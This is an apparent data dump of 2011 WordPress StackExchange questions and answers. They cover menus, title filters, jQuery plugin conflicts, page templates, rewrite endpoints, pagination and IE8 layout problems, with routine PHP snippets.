  <row Id="22539" PostTypeId="1" AcceptedAnswerId="23781" CreationDate="2011-07-10T05:32:20.753" Score="0" ViewCount="43" Body="&lt;p&gt;I'm working on a custom dropline menu using wp_nav_menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;wp_nav_menu( array( 'theme_location' =&amp;gt; 'primary', 'after' =&amp;gt; '|' ) );&lt;/code&gt;, I can put separators after every item. However, I'm only wanting them after the child items in the sub-menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can be more specific about which items have separators, such that only the non-parent items are separated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1682" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-22T13:51:18.480" LastActivityDate="2011-07-22T13:51:18.480" Title="Dropline menus -- seperators between children only?" Tags="&lt;functions&gt;&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="3" />
  <row Id="22540" PostTypeId="2" ParentId="22537" CreationDate="2011-07-10T05:47:03.197" Score="1" ViewCount="" Body="&lt;p&gt;I've pieced together a solution.  Let me know if it's what you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_title','term_filter',10,2);&#xA;function term_filter($title, $post) {&#xA;    $post = get_post($post) ;&#xA;    if($post-&amp;gt;post_type === 'special_post_type') {&#xA;        $terms = wp_get_object_terms($post-&amp;gt;ID, 'taxonomy');&#xA;        if(!is_wp_error($terms) &amp;amp;&amp;amp; !empty($terms)) {&#xA;            $title = $terms[0]-&amp;gt;name;&#xA;        }&#xA;    }&#xA;    return $title;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, I'm using a filter for the title that checks what post type the title is from.  If it is the correct type, the title is replaced by the first term of your taxonomy that is connected to that post.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ask me any questions if something isn't clear!&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-07-10T05:47:03.197" CommentCount="2" />
  <row Id="22541" PostTypeId="1" CreationDate="2011-07-10T06:10:55.597" Score="0" ViewCount="16" Body="&lt;p&gt;I have a requirement to filter comments based on the approved comments selected by the admin and show it under a new category called &quot;Highlights&quot;. How should I do this?&lt;/p&gt;&#xA;" OwnerUserId="6724" LastActivityDate="2011-07-10T06:10:55.597" Title="How to display comments based on selection?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;comments&gt;" />
  <row Id="22543" PostTypeId="1" CreationDate="2011-07-10T09:25:32.917" Score="0" ViewCount="62" Body="&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;site.com/contact&lt;/code&gt; (or &lt;code&gt;site.com/?page=contact&lt;/code&gt; if not using permalinks)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when someone goes to that page I want to load a theme template, like &lt;code&gt;page-contact.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't want to create a page in the dashboard for this work. How can I do this internally, within functions.php ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's possible because that bbpress plugin does it somehow for the /users/ pages, which are not standard wordpress pages...&lt;/p&gt;&#xA;" OwnerUserId="6914" LastActivityDate="2011-08-12T21:23:00.877" Title="Create built-in pages without creating actual pages" Tags="&lt;url-rewriting&gt;&lt;template&gt;&lt;page&gt;&lt;page-template&gt;" AnswerCount="2" />
  <row Id="22544" PostTypeId="1" AcceptedAnswerId="22545" CreationDate="2011-07-10T09:32:26.100" Score="0" ViewCount="62" Body="&lt;p&gt;This problem is driving me crazy.&#xA;So, I've Jetpack installed and the Gravatar hovercards activated. I could live without them, but other &quot;hover over image&quot; functions (e.g. I'm using the Guan Image Annotation plugin that lets you add a note to an image in a post by hovering over it) don't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It still worked earlier today and all I did was activate and deactivate a few other plugins.&#xA;I tried to figure out with plugins are causing the misfunction, but couldn't figure it out. &#xA;Maybe it's not a plugin interfernence after all.&#xA;I just can't seem to figure it out :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I'm a total beginner I'm not sure, but I think both (hovercards and the mentioned plugin) work with javascript? So maybe something is interfering with that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you can help me figure this out.&#xA;My (under construction) website is &lt;a href=&quot;http://www.zoomingjapan.com&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot in advance for any kind of advice! :)&lt;/p&gt;&#xA;" OwnerUserId="6903" LastActivityDate="2011-08-10T05:21:48.430" Title="Hovercards and other hover over image functions don't work anymore!" Tags="&lt;javascript&gt;" AnswerCount="1" />
  <row Id="22545" PostTypeId="2" ParentId="22544" CreationDate="2011-07-10T09:47:37.303" Score="0" ViewCount="" Body="&lt;p&gt;If you look in the source code of your homepage, in the header you will see that you have a lot (infact i have never seen as many jquery files in a header before) calls to jquery files, this is definatly a cause for conflict if two of the files are the same, i can see at least 2 references to a similar file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you will need to do, is deactivate all plugins, and start reactivating them one by one, each time testing the site, eventually you will activate the plugin that is breaking your jquery what you can do then is open up that plugins files and comment out the line that calls the jquery file and see if it will run off the other one..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;these could be the issue&lt;br&gt;&#xA;&lt;a href=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js?ver=3.2&quot; rel=&quot;nofollow&quot;&gt;http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js?ver=3.2&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.zoomingjapan.com/wp-content/themes/alltuts/js/jquery-1.4.2.min.js&quot; rel=&quot;nofollow&quot;&gt;http://www.zoomingjapan.com/wp-content/themes/alltuts/js/jquery-1.4.2.min.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.9/jquery-ui.min.js?ver=3.2&quot; rel=&quot;nofollow&quot;&gt;http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.9/jquery-ui.min.js?ver=3.2&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.zoomingjapan.com/wp-content/plugins/guan-image-notes/js/jquery-ui-1.7.1.js&quot; rel=&quot;nofollow&quot;&gt;http://www.zoomingjapan.com/wp-content/plugins/guan-image-notes/js/jquery-ui-1.7.1.js&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditorDisplayName="" LastEditDate="2011-07-10T10:05:07.320" LastActivityDate="2011-07-10T10:05:07.320" CommentCount="1" />
  <row Id="22546" PostTypeId="1" CreationDate="2011-07-09T23:09:53.463" Score="0" ViewCount="19" Body="&lt;p&gt;I have a website developed in Wordpress which I use to store/share code snippets. I've noticed that the default width of the page is quite less and I'm not utilizing the entire screen real estate available. Is there a way I can change the page width ?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/lkSpu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" LastActivityDate="2011-08-10T07:21:50.357" Title="Changing the default width of Wordpress webpage" Tags="&lt;html&gt;&lt;css&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="22547" PostTypeId="2" ParentId="22546" CreationDate="2011-07-09T23:13:27.850" Score="1" ViewCount="" Body="&lt;p&gt;There is a separate site for wordpress questions. You may do better there. Anyways, it is impossible to tell without seeing your css and page layout. If you can provide a link to the wordpress site someone can probably help. Otherwise you will have to look at the html/css code and figure it out for yourself by modifying widths. If you are using a standard theme then providing the name will also help.&lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-07-09T23:13:27.850" CommentCount="2" />
  <row Id="22548" PostTypeId="2" ParentId="22546" CreationDate="2011-07-10T04:13:56.180" Score="1" ViewCount="" Body="&lt;p&gt;It's all dependent on the theme that you are currently using. Anything can be adjusted, you just have to know where to look and what to change. Providing a screenshot is not enough information for anyone to be able to help you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, yes there is a way to correct this, you just have to know what you are doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please provide details of the WP theme you are using, and if not myself, someone might be able to help.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2011-07-10T04:13:56.180" />
  <row Id="22549" PostTypeId="1" AcceptedAnswerId="23009" CreationDate="2011-07-10T01:26:06.240" Score="1" ViewCount="100" Body="&lt;p&gt;Wordpress changed quite a bit from 3.1 to 3.2. I have played for an hour to find the plugin section but not success. Usually they would be on the left hand side in the menu. Now they are not there. Anyone knows where to find them and how to install them on xyz.wordpress site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image is from 3.1. Plugin option is second from top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ABEi2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is 3.2 menu. Can you find Plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/2SKud.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6944" LastActivityDate="2011-07-14T21:29:06.233" Title="Can't find plugins in menu for wordpress 3.2?" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="22550" PostTypeId="2" ParentId="22549" CreationDate="2011-07-10T02:13:22.293" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$menu_perms = get_site_option( 'menu_items', array() );&#xA;if ( ! is_multisite() || is_super_admin() || ! empty( $menu_perms['plugins'] ) ) {&#xA;$count = '';&#xA;if ( ! is_multisite() &amp;amp;&amp;amp; current_user_can( 'update_plugins' ) )&#xA;    $count = &quot;&amp;lt;span class='update-plugins count-$plugin_update_count'&amp;gt;&amp;lt;span class='plugin-count'&amp;gt;&quot; . number_format_i18n($plugin_update_count) . &quot;&amp;lt;/span&amp;gt;&amp;lt;/span&amp;gt;&quot;;&#xA;&#xA;$menu[65] = array( sprintf( __('Plugins %s'), $count ), 'activate_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'div' );&#xA;&#xA;$submenu['plugins.php'][5]  = array( __('Installed Plugins'), 'activate_plugins', 'plugins.php' );&#xA;&#xA;if ( ! is_multisite() ) {&#xA;        /* translators: add new plugin */&#xA;        $submenu['plugins.php'][10] = array( _x('Add New', 'plugin'), 'install_plugins', 'plugin-install.php' );&#xA;        $submenu['plugins.php'][15] = array( _x('Editor', 'plugin editor'), 'edit_plugins', 'plugin-editor.php' );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Due to the code above (&lt;code&gt;wp-admin/menu.php&lt;/code&gt;, line &lt;code&gt;177&lt;/code&gt;) you can see the 'Plugins' menu: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If your Wordpress installation is not multi-site, &lt;/li&gt;&#xA;&lt;li&gt;If it is multi-site and you are the superadmin,&lt;/li&gt;&#xA;&lt;li&gt;If Wordpress option &lt;code&gt;'menu_items'&lt;/code&gt; array contains the &lt;code&gt;'plugins'&lt;/code&gt; in it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Other additional requirement is that you have to have &lt;code&gt;'activate_plugins'&lt;/code&gt; capability.&#xA;Check those conditions to understand why you don't see the &lt;code&gt;'Plugins'&lt;/code&gt; menu item in your Wordpress dashboard.&lt;/p&gt;&#xA;" LastActivityDate="2011-07-10T02:19:15.870" CommentCount="3" />
  <row Id="22551" PostTypeId="2" ParentId="22535" CreationDate="2011-07-10T10:52:42.967" Score="1" ViewCount="" Body="&lt;p&gt;This works for me locally in testing..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_enqueue_scripts','enq_menu_scripts_and_styles');&#xA;&#xA;function enq_menu_scripts_and_styles() {&#xA;    // UI Core, loads jQuery as a dependancy&#xA;    wp_enqueue_script( &#xA;       'uicore', &#xA;       'http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.12/jquery-ui.min.js', &#xA;        array('jquery') &#xA;    );&#xA;&#xA;    // UI Theme CSS&#xA;    wp_enqueue_style( 'uicss', 'http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/themes/ui-darkness/jquery-ui.css' );&#xA;&#xA;    // Selectmenu JS&#xA;    wp_enqueue_script( 'uisel', 'http://jquery-ui.googlecode.com/svn/branches/labs/selectmenu/ui.selectmenu.js' );&#xA;&#xA;    // Selectmenu CSS&#xA;    wp_enqueue_style( 'uicss2', 'http://jquery-ui.googlecode.com/svn/branches/labs/selectmenu/ui.selectmenu.css' );&#xA;&#xA;}&#xA;&#xA;add_action('wp_head','select_menu_test_code');&#xA;&#xA;// Simple test code &#xA;function select_menu_test_code() {&#xA;    // Simple no-conflict function&#xA;    ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(function($){&#xA;        // You can use $ here&#xA;        $('select#cat').selectmenu();&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It wouldn't work for me when trying to use ui-core from WordPress, jQuery seems to be ok though. I used the same version of UI with the test code so it's strange that the one included in WordPress didn't work for me(i do have a plugin active that uses ui core, but disabling didn't seem to help at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See if my above code works for you, and tweak as necessary if it does.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-10T11:00:24.613" LastActivityDate="2011-07-10T11:00:24.613" CommentCount="8" />
  <row Id="22552" PostTypeId="2" ParentId="22522" CreationDate="2011-07-10T11:37:53.550" Score="1" ViewCount="" Body="&lt;p&gt;Yes it's quite possible, there's a filter hook in place so we can add our own links in, adjust the following code as necessary..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'admin_user_info_links', 'custom_admin_user_info_links' );&#xA;&#xA;function custom_admin_user_info_links( $links ) {&#xA;    $links[] = '&amp;lt;a href=&quot;http://www.google.com&quot;&amp;gt;Example link&amp;lt;/a&amp;gt;';&#xA;    //$links[] = '&amp;lt;a href=&quot;http://wordpress.stackexchange.com&quot;&amp;gt;Another example&amp;lt;/a&amp;gt;';&#xA;    return $links;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-07-10T11:37:53.550" CommentCount="6" />
  <row Id="22553" PostTypeId="1" CreationDate="2011-07-10T11:42:16.623" Score="0" ViewCount="65" Body="&lt;p&gt;okay so my problem is, I have buddypress running and gravity forms which handles submitting posts. I have customized buddypress to display post_thumbnail in the activity stream. I have customizes gravity forms to for images upload to post to post_thumbnail / feature image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This almost works perfectly, however the featured image from gravity forms does not appear in the activity stream until I manually go into wordpress and hit update on the post I just published through gravity forms. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some kind of hook like gform_post_submission I can use to push this data to buddypress or even a buddypress hook that records the data correctly from the form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the reference codes I have used for update:&#xA;Gravity Form =&gt; in my Functions.php makes uploaded image featured image&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter(&quot;gform_post_submission&quot;, &quot;set_post_thumbnail_as&quot;, 10, 2);&#xA;function set_post_thumbnail_as($entry, $form){&#xA;&#xA;//Replace 4 with your actual form id&#xA;if($form[&quot;id&quot;] != 1)&#xA;    return;&#xA;&#xA;//getting first image associated with the post&#xA;$post_id = $entry[&quot;post_id&quot;];&#xA;$attachments = get_posts(array('numberposts' =&amp;gt; '1', 'post_parent' =&amp;gt; $post_id,    &#xA;'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; 'ASC'));&#xA;if(sizeof($attachments) == 0)&#xA;    return; //no images attached to the post&#xA;&#xA;//setting first image as the thumbnail for this post&#xA;update_post_meta( $post_id, '_thumbnail_id', $attachments[0]-&amp;gt;ID);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Buddypress to display post_thumbnail - Line 31 in particular&#xA;&lt;a href=&quot;http://pastebin.com/jKdQ2kLu&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/jKdQ2kLu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhelp or direction is much appreciated...&lt;/p&gt;&#xA;" OwnerUserId="6895" LastEditorUserId="2226" LastEditorDisplayName="" LastEditDate="2011-07-10T13:39:54.537" LastActivityDate="2011-07-10T13:39:54.537" Title="Buddypress + Gravity Forms = almost awesome but not $" Tags="&lt;buddypress&gt;&lt;plugin-gravity-forms&gt;" />
  <row Id="22554" PostTypeId="1" AcceptedAnswerId="22556" CreationDate="2011-07-10T13:14:28.997" Score="0" ViewCount="20" Body="&lt;p&gt;I know that the theme review team has been active for about one year now. Thanks to their hard work and diligence, the themes in the repo are &lt;em&gt;much&lt;/em&gt; better now than ever before. However, I have noticed that there are still older themes in the repo that, at first glance, probably would not pass the review if submitted or updated today. Is there a date that anyone can point to where we might want to be wary of any themes that were last updated before then?&#xA;On a related note, is there a plan to possibly phase out some of these themes? &lt;/p&gt;&#xA;" OwnerUserId="6917" LastActivityDate="2011-07-10T13:22:14.520" Title="What is the general cut-off date for reviewed themes in the WordPress.org repository?" Tags="&lt;themes&gt;&lt;wordpress.org&gt;&lt;repository&gt;&lt;theme-review&gt;" AnswerCount="1" />
  <row Id="22555" PostTypeId="1" CreationDate="2011-07-10T13:18:59.790" Score="0" ViewCount="90" Body="&lt;p&gt;So I was exploring and ran across this post: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/22423/grab-first-link-from-a-post-grab-first-blockquote&quot;&gt;Grab First Link From A Post, Grab First Blockquote&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would basically like to do the same thing, but have it call not only the URL but also the link... since I am using the link as an excerpt title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if my link says Facebook I want it to call a link that says &quot;Facebook&quot; not one that says &quot;http://www.facebook.com&quot; like the current code does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably easy when given the code provided already, but I can't figure it out.&lt;/p&gt;&#xA;" OwnerUserId="6902" LastEditorUserId="6902" LastEditorDisplayName="" LastEditDate="2011-07-10T19:03:38.633" LastActivityDate="2011-08-11T22:22:27.243" Title="PHP Code For Link WITH Text" Tags="&lt;php&gt;&lt;link&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="22556" PostTypeId="2" ParentId="22554" CreationDate="2011-07-10T13:22:14.520" Score="0" ViewCount="" Body="&lt;p&gt;Anything updated since late 2010 or so should be pretty reliable. The Guidelines have been pretty much stable since fall 2010 or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for existing Themes in the repository: I think most of the Theme Review Team would like to see some policy implemented in which obsolete Themes could be suspended; however, that decision is above our pay grade. For the time being: any Theme already in the repository, regardless of when it was approved, will remain active/available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We &lt;em&gt;have&lt;/em&gt; removed some older Themes, if they were found to have a security exploit, malicious code, non-GPL-compatible license, or spammy links.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-10T13:22:14.520" CommentCount="1" />
  <row Id="22557" PostTypeId="1" AcceptedAnswerId="22596" CreationDate="2011-07-10T14:18:14.667" Score="0" ViewCount="49" Body="&lt;p&gt;I have tried to - enable &lt;code&gt;Use jQuery&lt;/code&gt; &amp;amp; then save changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after saving changes, checkmark &lt;code&gt;Use jQuery&lt;/code&gt; automatically unchecks itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure whats going on. Please help me here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/pjmS7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6401" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-10T20:19:48.740" LastActivityDate="2011-07-11T04:56:58.047" Title="I am not able to enable jQuery in theme settings" Tags="&lt;wp-admin&gt;&lt;jquery&gt;&lt;settings&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="22559" PostTypeId="1" CreationDate="2011-07-10T14:30:13.363" Score="0" ViewCount="30" Body="&lt;p&gt;I have a custom page that shows all posts from selected categories. When this page is set to front page, the pagination is not working any more. &#xA;Does someone have a solution for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $wp_query = new WP_Query(array('cat'=&amp;gt;of_get_option('select_categories_blog'),'showposts'=&amp;gt;of_get_option('number_display_blog'),'paged'=&amp;gt;$paged)); ?&amp;gt;&#xA;&amp;lt;?php if($wp_query-&amp;gt;have_posts()) : while($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the pagination links are shown with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;pagination&quot;&amp;gt;&#xA;  &amp;lt;div id=&quot;prevLink&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;?php previous_posts_link(); ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;div id=&quot;nextLink&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;?php next_posts_link(); ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;           &#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1795" LastActivityDate="2011-07-10T14:30:13.363" Title="Custom Page set as fron page - pagination problem" Tags="&lt;wp-query&gt;&lt;pagination&gt;&lt;the-loop&gt;" CommentCount="1" />
  <row Id="22560" PostTypeId="1" AcceptedAnswerId="22562" CreationDate="2011-07-10T14:44:58.967" Score="0" ViewCount="63" Body="&lt;p&gt;Hi I'm evaluating wordpress to implement a rather static website (http://www.eddaconsult.se) that now uses static html that I think could be advantageous to do with wordpress since it would make updates and administration easier. Do you agree with me that it's possible to implement these quite simple webpages with wordpress? I started a project to do this at &lt;a href=&quot;http://eddaconsult.wordpress.com&quot; rel=&quot;nofollow&quot;&gt;http://eddaconsult.wordpress.com&lt;/a&gt; not getting very long since I didn't see how to upload a logo image etc but I'm sure that it can do all or most of what is required. &lt;/p&gt;&#xA;" OwnerUserId="6919" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-10T17:26:21.980" LastActivityDate="2011-07-10T17:26:21.980" Title="Can I Create a Static-Content Site With WordPress?" Tags="&lt;static-website&gt;" AnswerCount="1" />
  <row Id="22561" PostTypeId="2" ParentId="22543" CreationDate="2011-07-10T14:54:42.923" Score="0" ViewCount="" Body="&lt;p&gt;You can do this just as you said. It is built into the template hierarchy of Wordpress since 2.9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a page named Contact, create a page template called page-contact.php which is different than page.php. And voila, it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From WP documentation.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Templates by page-ID or page-Slug&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can use different archives &quot;page&quot;,&#xA;  with ID or slug in your name. Only&#xA;  Available with Version 2.9.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;page-{id}.php&#xA;page-{slug}.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is this what you wanted?&lt;/p&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-07-10T14:54:42.923" CommentCount="1" />
  <row Id="22562" PostTypeId="2" ParentId="22560" CreationDate="2011-07-10T15:31:47.880" Score="4" ViewCount="" Body="&lt;p&gt;Yes of course you can recreate that site using WordPress.  You gain the benefit of managing all the pages from the WordPress admin, and gain consistency across all the pages due to the templated nature of WordPress pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start by finding or creating a very basic theme that mimics the look of the existing site.  Then just copy your content into WordPress Pages (copy and paste.)  You can even make it look like the pages are HTML by adding the .html extension to your permalink structure.  You can redirect traffic to your old pages to the new pages, if the names are different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So long at the host that hosts www.eddaconsult.se supports PHP 5.2.4 and MySQL 5.0, you can run WordPress without a problem.  Here are the &lt;a href=&quot;http://wordpress.org/about/requirements/&quot; rel=&quot;nofollow&quot;&gt;requirements for WordPress version 3.2&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without a doubt, you can do this project with WordPress.&lt;/p&gt;&#xA;" OwnerUserId="6230" LastActivityDate="2011-07-10T15:31:47.880" CommentCount="1" />
  <row Id="22563" PostTypeId="2" ParentId="22543" CreationDate="2011-07-10T15:47:18.163" Score="0" ViewCount="" Body="&lt;p&gt;This is the technique I'm using on a site right now. It involves registering a query var for &quot;template&quot;, and registering an endpoint called &lt;code&gt;/contact&lt;/code&gt;, which rewrites internally to &lt;code&gt;?template=contact&lt;/code&gt;. Then you just check for that query variable at the template_redirect hook, and if its present, include the page template you want to load and exit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Add a query var for template select, and and endpoint that sets that query var */&#xA;add_action( 'init', 'wpse22543_rewrite_system' );&#xA;&#xA;function wpse22543_rewrite_system() {&#xA;    global $wp, $wp_rewrite;&#xA;    $wp-&amp;gt;add_query_var( 'template' );   &#xA;    add_rewrite_endpoint( 'contact', EP_ROOT );&#xA;    $wp_rewrite-&amp;gt;add_rule(  '^/contact/?$', &#xA;                            'index.php?template=contact', 'bottom' );&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;    }&#xA;&#xA;&#xA;/* Handle template redirect according the template being queried. */&#xA;add_action( 'template_redirect', 'wpse22543_select_template' );&#xA;&#xA;function wpse22543_select_template() {&#xA;    global $wp;&#xA;    $template = $wp-&amp;gt;query_vars;&#xA;&#xA;    if ( array_key_exists( 'template', $template ) &amp;amp;&amp;amp; &#xA;        'contact' == $template['template'] ) {&#xA;        /* Make sure to set the 404 flag to false, and redirect &#xA;               to the contact page template. */&#xA;        global $wp_query;&#xA;        $wp_query-&amp;gt;set( 'is_404', false );&#xA;        include( get_stylesheet_directory().'/contact.php' );&#xA;        exit;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will serve up your contact.php file for any requests for ?template=contact or /contact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's probably a quicker way of doing it, but this works. Here's a more thorough tutorial: &lt;a href=&quot;http://betterwp.net/98-wordpress-create-fake-pages/&quot; rel=&quot;nofollow&quot;&gt;Create Fake Pages in WordPress&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-07-10T15:47:18.163" />
  <row Id="22564" PostTypeId="1" CreationDate="2011-07-10T16:00:35.640" Score="0" ViewCount="18" Body="&lt;p&gt;This is probably quite a stupid question to ask, but I'm still a beginner and there are a few things I can't seem to figure out by myself.&#xA;I use Firefox 5 and was designing the WP theme there using Firebug.&#xA;When I checked in Internet Explorer 8 I was shocked to see that there were quite a lot of things wrong!&#xA;I was able to fix quite a few by myself, mostly I tried other commands for positioning in the stylesheet and that did the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I just can't seem to figure out alone, are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) In IE I can scroll horizontally quite a bit to the right although there's nothing there. I think it has to do with the header image or rather the background image. Is there a way to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) When hovering over things in the single post view, the layout screws up quite a bit like &lt;a href=&quot;http://www.zoomingjapan.com/2011/another-image-hover-test/&quot; rel=&quot;nofollow&quot;&gt;in this post&lt;/a&gt;. In Firefox it's no problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) In the same post you'll probably see a small book icon at the and of the post on the right (if you're using IE8) - that's actually supposed to only show up if there is a pagination for that post (as in Page 1, 2, 3 etc.) - in Firefox it doesn't show up, but it does in IE. I tried to hide it, but failed. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4.) Also, I have &lt;a href=&quot;http://i55.tinypic.com/30j2r15.jpg&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; very strange &quot;bar&quot; at the end of my browers/theme with a very small smilie! It doesn't appear in Firefox and it only shows up on my website not on others. Is this a hack or something? So weird!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you can help me figure it out.&#xA;Thanks so much in advance! 